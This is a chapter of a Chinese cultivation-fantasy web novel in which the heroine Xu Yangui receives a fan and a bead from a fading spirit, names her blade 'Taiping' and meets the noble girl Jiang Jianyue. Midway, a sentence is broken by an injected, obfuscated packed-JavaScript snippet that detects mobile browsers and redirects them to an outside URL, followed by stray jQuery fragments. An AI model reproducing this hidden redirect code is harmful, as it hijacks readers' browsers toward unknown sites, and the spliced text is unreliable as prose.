听了她的问题,虚影微微一笑,抬指牵引一点光芒落到手心,“此乃灵气,天地所化,修士修行皆需此物,在经络运转而为灵力,只要术法,无论大小俱仰赖灵力,若修士灵力耗竭,而周围灵气稀薄,便如井中无水,与凡人亦无差别。”
光点自他手心飘散,虚影捏扇拂向地面,示意许雁归看那些起伏不定的丝线,“此为地络,乃灵气之根,地络繁荣处,亦称为福地洞天,地络为枝,灵气为叶,大多修士穷极一生也不过见叶不见枝。”
许雁归点点头,胜在她上辈子修真文没少看,此时虽不说完全通透,但也大概理清了概念。
“地络只有一种吗,而且是不是有和灵气相对的气?”少女又问,没有忘记方才从虚蛟身上冒出的东西。
虚影眉眼平和,娓娓道来,“祖始开天地,清者升而为灵,浊者降为秽,地络亦分两者,不过六千年前,圣人日走封印秽邪于罡风渊,人间秽气皆消,偶有,也不过是无根浮萍。”
许雁归咂摸着,灵气秽气相对,虚影也只说地络有两种,不过她看到了分明是两者合二为一之物,那算什么,合成大西瓜吗。
虚影瞧出少女的思虑,没有发问,而是谦虚道,“风某修行浅薄,终其一生不过也只是能看见它们罢了,世间之大,有我不知之物亦寻常。”
许雁归也没有讲,毕竟虚影也解答不了,只能判断她先前所见之景,或许十分罕见。
少女看看头顶的大洞,再看看身边的昏迷的伙伴,赧然问道,“可以用剑把我们送出去吗?”
“自然。”虚影轻轻点头,身影愈发地淡了,他微笑着,眉间却微不可查地蹙起,似乎有点欲言又止。
许雁归眼力不差,见对方有话想说,便直接问了,“你是有什么想拜托我吗?只能我能做到,我便帮你。”
少女挺了挺胸膛,摆出了凛然正义的模样。
这下倒是显得虚影扭扭捏捏了,他伸出手,拱手行礼,“风某惭愧,今日这缕残魂得以而出,还托于姑娘及两位小友,实在难以启齿。”
修真者不是都性格古怪吗,许雁归想,眼前这位倒不像什么天才,像个规规矩矩的酸儒,与给她启蒙的沈师几分相似。
她摊手道,“你也帮我了呀,帮我解答了难题,还能把我们直接送出去,要不然我爬不出去。”
少女又看了看垂直的石壁,和几十丈高的洞口,诚恳地又补充一句,“真的。”
虚影似真的被她开解,眉眼舒展开,一颗琉璃小珠自他左耳垂下脱出,一路落到了许雁归手心。
“此为清心珠,若姑娘有一日路过栖霞宗,不知可否将其交与一位唤姜明来的仙子?”
琉璃珠静卧手心,像把一段凝结的晨光拢住了,许雁归把它小心收起,认真道,“好,我会的。”
如同了却一桩心结,虚影的笑意更深,他唇角一动,手中折扇飘悠悠送出,悬在许雁归面前。
扇骨温润如白玉,雕着仙鹤灵芝等图案,小巧精致,令人见而喜之。
“此为海立扇,是我年轻时偶尔所得,算不上什么珍贵之物,不过能引罡风压制邪物,先前被那虚蛟夺去,现我将其赠与小友。”
少女两眼放光,握住了折扇,可突然,好似想起了什么,她苦恼道,“可是我也用不了灵气,这把折扇给我岂不是浪费了。”
虚影笑容慈祥,如同面对同门晚辈般轻声细语,“此扇无需灵气也可催动,制作它的材料特殊,它可自行汲取天地灵气,扇骨上的仙鹤有提示,若它展翅,便是扇中灵气充沛,若它收翅落地,则需再等待。”
许雁归看着扇骨上雕刻的仙鹤图案,啧啧称奇,向着虚影连声道谢。
虚影命剑将几人送出了洞口,剑身瞬间变得极宽,宛若小舟,许雁归把青葙和黄衣少女扶上去,坐在剑上,看着地面越来越远,说实话,还有点刺激。
飞剑掠出洞口,但见群山起伏,月色光华千里,原来此处已是山巅。
飞剑将他们放下,便渐小落回洞口,许雁归站在边缘往下看,虚影已消散大半,他亦抬眸看少女,脸上笑意不减,宛若尊被打碎大半的菩萨像。
许雁归心念一动,大声朝他问,“我还没有问你的名字?”
好人值得被记住,少女的想法很简单。
“在下婆娑门,风吟子。”虚影笑道,随即烟消云散,如同晨时大雁湖面上的雾气,什么也没留。
许雁归有点说不上来的滋味,她抬头看向远处。
会当凌绝顶,一览众山小。
虽然这山头比起泰山,不过小巫见大巫,好在也力压了周围群山,能远眺到乌黑的天际,冷风拂面,把那一点子怅然也吹跑了,许雁归心中竟意外地开阔,或许是因为经历了生死。
少女握着刀,仰头看天,用心声高喊,尽管来吧,我才不会那么轻易死。
但是狠话是狠话,许雁归放完就发现,她还得想办法把人搬下山。
少女苦思,识海里的葫芦又搞幺蛾子,许雁归定神去探,只见碧绿葫芦光华夺目,浑身上下散发一股快看我的自得气息,好似完成了一项大任务,正在邀功。
难道这是炼成了什么丹?
许雁归把它拿起晃了晃,听见哗哗的水声,拔开塞子,精纯的酒气袭来。
还真是个酒葫芦。
少女嘀咕,凑近又闻了闻,虽然不懂酒,但也能感觉里头的东西比她爹自家的米酒高了几十个境界。
要是她爹在这,估计能喜得抓耳挠腮,一口气全灌了。
许雁归忽然有点想家,她把葫嘴塞回去,将葫芦捉出来。
她当然不会以为这就是普通的酒,毕竟原料就不凡,估摸也是琼浆玉液之类,说不定就能疗伤。
“我朋友受伤了,分他们一些可以吧。”
许雁归很客气地商量,她能感觉到葫芦是有点脾气的,总要尊重一些。
葫芦扭了扭,像女子扭动腰肢似的,旋即安静在许雁归手中,算是答应了。
许雁归把黄衣少女扶起,隔空喂了点酒进去,酒液也神奇,不似水流清亮,倒出时像是蜜色软绸,柔且顺。
许雁归又拍了拍少女的后背,以免呛到,饮下酒后,原本面如金纸的少女脸上气色肉眼可见地回转。
许雁归将她放下,便要如法炮制去喂青葙,可葫芦却怎么也倒不出来,里头分明还是有酒的。
“不会是舍不得吧。”许雁归问,葫芦如蒙大耻,要从她手中挣脱。
少女又猜,“难道是青葙不能喝,那真是错怪你了,不好意思。”
葫芦这才平静下来,还有一丝淡淡的不屑,仿佛在说居然敢这么看它。
许雁归挠头,打算将剩下的酒一饮而尽,葫芦却一撺回到了识海,她好奇凝神去跟,识海里,葫芦倾下,酒液缓缓而出,似乎无休无止,明显超过了这小葫芦的容量。
识海甫一接触到酒液,便升腾起了浓浓的雾气,光彩夺目,似乎很是惬意。
识海贯通躯体。
许雁归浑身的筋骨脉络,像是被细细捋过浇筑,畅通无比,有种莫名膨胀的感觉,像是跨过了什么大关。
少女神采奕奕,同时发觉心念与长刀越发贴合,若说以前还是隔着层雾,需耗费大量心力驱使,现在长刀则更像自己的一条胳膊,指哪打哪,亦更能体察到刀身的情绪。
方才一战,她兴奋,狭刀何尝不是。
许雁归心神一催,长刀凌空而起,在月色中辗转挪移,迅如疾风,最高能到六丈有余的高度。
刀剑有灵。
少女忽然想给它取个名字,便收回了刀,在月光下打量它。
“太平,就叫你太平。”
万事太平即可。
狭刀嘶嘶嗡鸣,似乎对此名甚为满意。
这方许雁归在给长刀取名,那边黄衣少女哼哼唧唧地醒了,才一睁眼,就警惕看向周围,见不是大殿,眼神几分茫然,觉察身上伤痛尽去,更是疑惑,晃晃荡荡就要起身。
许雁归听到声音,转身去扶,黄衣少女脚步虚浮,一双眼迷迷瞪瞪,不是因昏迷许久,而是刚刚的两口酒,不过她自己似乎并没有意识到。
“是你,你还活着呀。”黄衣少女语气惊诧,眼睛圆溜溜直盯着许雁归,或许是醉酒的缘故,话语相当直白,不过以她的性格,就是清醒恐怕也是直来直去。
“我以为你死了,那妖物如此恐怖,连我也拦他不住。”说着,少女又要去摸腰间的鞭子,想再来三百回合。
许雁归赶紧止住她,“死了,死了,那妖怪死了。”
“啊~”黄衣少女拖长了音,凑近了许雁归的脸,“谁杀的呀,连我都不行。”
“一位仙师,他还留了一缕残魂在阵中,见我们危难就出手相助了。”许雁归扶她坐下,“那位仙师叫风吟子,你知道他吗?”
黄衣少女闻言陷入深思,许久也没说话,久到许雁归都以为她睡着了,她才猛一抬头,认真道:“没听说过。”
“不过,你知道我是谁吗?”她神神秘秘地说,指了指自己。
许雁归诚实摇头。
黄衣少女扶了扶头上微乱的发髻,仰头,神色傲然:“我乃大魏江家大小姐江见月是也。”
如是换个有见闻的在此,大抵会惊得咬掉舌头,大魏只有一个江家出名,便是那盘踞在大都的苇河江家,与俗世皇家和山上仙门都颇有牵连。莫说云平洲,便是那远在海外,势力割据的不系洲也有几分响当当的名号。
只可惜,对面坐着的是土包子许雁归,十几年只知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202491|197253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道练刀捉鱼,连村子也不曾出过,甚至都听不出是哪个江,于是她只是点点头,“原来你姓江啊,姑娘,我姓许,叫雁归,大雁归来的意思,今晚多谢姑娘相救。”
江见月盯着她看,见她脸上一点没有惊讶,眉眼耷拉下来,很是失望地转头,这还是她出门在外第一次报名号,不过少女的心思来得快,去的也快,江见月转头便忘了这点失落。
渐渐地,天边翻出一点鱼肚白。
许雁归一拍脑袋,想起那把折扇,就把它从怀里取了出来。
“这是那位仙师留的一柄扇子,叫海立扇,可以催动罡风,江姑娘,你看看,若是对你有用,你就留下。”
少女语气坦诚,又把扇子往江见月跟前送了送。
江见月闻言,露出见鬼一般的表情,她看看扇子,又看看许雁归,震惊之余,又流露出一点可怜。
这个人是呆子吧。
别人得了机缘,恨不得十几只手捂得紧紧的,她倒好,居然光明正大当别人面拿出来,还要送出去。
江见月见过精的,蠢的,还见过假装精实际蠢,假装蠢实际精的,但就是没有见过这么表里如一的呆。
黄衣少女又看了看许雁归,对方眼神清澈,还捧着扇子等她的回答。
江见月愤而抬手敲了许雁归脑袋一下,气呼呼道,“要换成别人,你刚刚那番话不知道要把多少机缘送出去,要遇上个狠的,说不定还要杀你灭口。你知不知道啊,修士之道,机缘最为重要,是你的就收好,我还没到要和别人抢的地步。”
许雁归揉揉被敲的地方,她当然不是散财童子,也不是傻白甜,只不过她衡量事物有自己的标准,也许是前世社会主义教育深入人心,还有这一世山村的简单生活,她总觉得别人帮了她,那就要以最大能力还回去。
譬如今夜,江姑娘送她符箓,又在危难时刻挡在她和青葙身前,这些举动完全是不必的,可是她做了,许雁归也受了人家的好,那自然要还,即便最后虚蛟是她所斩,也不能因为符箓没有挡住妖物,就认为人家的付出没有用了。
许雁归想得很认真,她虽然没有上帝视角,不知道那四枚燕钉压制了虚蛟的境界,但也能察觉,如果没有黄衣少女,今夜绝不会那么轻松斩杀蛟龙。
“可是你帮了我们,我不知道要如何答谢了。”许雁归无辜地看着江见月。
黄衣少女一拍屁股站起来,下巴抬得高高的,“本小姐行侠仗义,可不是为了这些虚利。不过你要谢我也行,让我想想再说。”
江见月眉眼弯弯,像只小狐狸,“先下山再说。”
许雁归觉得少女有趣,却笑不出来,她看向尚在昏迷的青葙,伸手去扶他。
江见月顺她的目光看去,仔细打量了青葙的面色,眉头皱了皱又松开,最后好似判断出什么,语气轻松道,“不必担心,他只是暂时气机絮乱,过两个时辰就能醒了。”
许雁归惊喜,又看了看歪在她颈窝的青年,心里一块大石头落地。
“原来你还会医术啊,江姑娘。”少女笑吟吟道。
江见月轻轻嗯了一声,脸色忽然有点古怪,似乎不愿意多提,她转过头,发髻跟着晃了晃,“你放心,反正本小姐看走不了眼。”
两人一妖顺着山路,往山脚的莲花村走去。
万里之外,不知是何处,山峦翠绿,高耸入云,静若琉璃的湖泊前,一名男子正盘坐于此垂钓,他一手执青竹所制的鱼竿,一手放在膝盖上,食指轻轻叩着。
长发披散如流云,男子容貌极雅,肤色又白,一双眼如深潭,古井不波,他垂眸注视湖面,唇边一丝微笑,颇有几分逍遥写意。
另有一名男子端坐于他身后,头戴高冠,衣衫齐整,相比垂钓男子的松弛惬意,此人显得紧绷许多。
良久无话。
最终,还是高冠男子没有忍住,小声开口:“师叔,为何不让我去看护,蛟龙性烈,恐会生变。”
鱼竿却在此时传来异动,垂钓男子手腕轻抬,一尾鲜亮的青鱼便跃出了水面,鳞片间隐隐还有银白之气萦绕,不似凡物。
垂钓男子得了这鱼,却不见喜色,只是叹息一口,将那鱼从鱼钩上取下,丢回湖中。
“可惜,不是我想要的鱼儿。”
高冠男子不懂,以为师叔只是在谈鱼,也不敢再妄加言语。
垂钓男子转头看他,言语不显喜怒,“那蛟龙成与不成,都不妨事,我只想看看,宗门前行的障碍有哪些。”
“可惜,可惜。”垂钓男子收了鱼竿,倏然起身,姿态疏懒,说着可惜,眉眼见也不带愁绪,反而玩味十分。
他往前走着,几息间便消失在了高冠男子的视野中。
高冠男子只能站起身,痴痴望着师叔消失的方向。